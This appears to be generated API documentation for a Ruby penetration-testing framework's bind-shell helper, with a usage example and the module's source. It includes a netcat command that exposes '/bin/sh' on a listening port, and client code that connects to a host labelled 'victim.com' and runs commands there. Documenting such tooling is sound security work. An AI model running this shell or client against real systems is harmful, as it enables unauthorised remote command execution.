Module: Ronin::Payloads::Helpers::BindShell
- Includes:
- Shell
- Defined in:
- lib/ronin/payloads/helpers/bind_shell.rb
Overview
A Payload helper for communicating with TCP/UDP bind-shells.
Example
ronin_payload do
helper :bind_shell
cache do
# ...
end
end
Usage
On the remote host start the bind-shell. The easiest way is using
the netcat
utility; assuming you can execute commands.
$ nc -l 9999 -e /bin/sh
Configure the payload:
payload.host = 'victim.com'
payload.port = 9999
Then access the bind-shell.
payload.shell.ls
# => "Documents Music\t Public Templates\nDesktop
Downloads Pictures src\t Videos\n"
Class Method Summary collapse
Instance Method Summary collapse
-
#shell_exec(program, *arguments) {|line| ... } ⇒ Object
Send a command to the bind-shell and process the output.
-
#shell_write(data) ⇒ Integer
Writes data to the bind shell.
Methods included from Shell
#fs_chdir, #fs_chgrp, #fs_chmod, #fs_chown, #fs_copy, #fs_getcwd, #fs_glob, #fs_mkdir, #fs_mktemp, #fs_move, #fs_read, #fs_readdir, #fs_rmdir, #fs_stat, #fs_unlink, #fs_write, #process_exit, #process_getenv, #process_getgid, #process_getuid, #process_kill, #process_setenv, #process_spawn, #process_time, #process_unsetenv
Class Method Details
.extended(base) ⇒ Object
68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 |
# File 'lib/ronin/payloads/helpers/bind_shell.rb', line 68 def self.extended(base) base.instance_eval do # The host the bind-shell is running on parameter :host, type: String, description: 'Host to connect to' # The port the bind-shell is listening on parameter :port, type: Integer, description: 'Port to connect to' # The protocol to use (tcp/udp) parameter :protocol, default: :tcp, description: 'Protocol to connect with' test_set :host test_set :port test_in :protocol, [:tcp, :udp] deploy do socket = case self.protocol when :tcp TCPSocket when :udp UDPSocket end @bind_shell = socket.new(self.host,self.port) end evacuate do @bind_shell.close if (@bind_shell && !(@bind_shell.closed?)) @bind_shell = nil end end end |
Instance Method Details
#shell_exec(program, *arguments) {|line| ... } ⇒ Object
Send a command to the bind-shell and process the output.
122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 |
# File 'lib/ronin/payloads/helpers/bind_shell.rb', line 122 def shell_exec(program,*arguments) command = ([program] + arguments).join(' ') # generate a random nonce for the command deliminators nonce = (rand(1_000_000) + 10_000_000) start = Digest::MD5.hexdigest(nonce.to_s) stop = Digest::MD5.hexdigest((nonce + 1).to_s) print_debug "[#{self.host}:#{self.port}] Sending command: #{command}" # send the command @bind_shell.puts("echo #{start}; (#{command}); echo #{stop}") # read any excess output @bind_shell.each_line do |line| break if line.chomp == start end @bind_shell.each_line do |line| line.chomp! # EOS reached break if line == stop print_debug "[#{self.host}:#{self.port}] #{line.dump}" yield line end print_debug "[#{self.host}:#{self.port}] Command finished: #{command}" end |
#shell_write(data) ⇒ Integer
Writes data to the bind shell.
165 166 167 |
# File 'lib/ronin/payloads/helpers/bind_shell.rb', line 165 def shell_write(data) @bind_shell.write(data) end |